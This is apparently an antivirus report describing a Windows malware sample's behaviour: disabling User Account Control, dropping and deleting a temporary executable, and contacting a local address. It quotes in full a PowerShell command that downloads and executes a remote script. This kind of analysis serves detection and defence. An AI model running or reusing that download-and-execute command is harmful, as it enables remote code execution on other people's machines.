Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Downloads
- http://19#.#68.1.101/powershell_attack.txt
Modifies file system
Creates the following files
- %TEMP%\5400\5400.exe
Deletes the following files
- %TEMP%\5400\5400.exe
Network activity
Connects to
- '<LOCALNET>.1.101':80
Miscellaneous
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c powershell.exe "IEX ((new-object net.webclient).downloadstring('http://19#.#68.1.101/powershell_attack.txt '))"
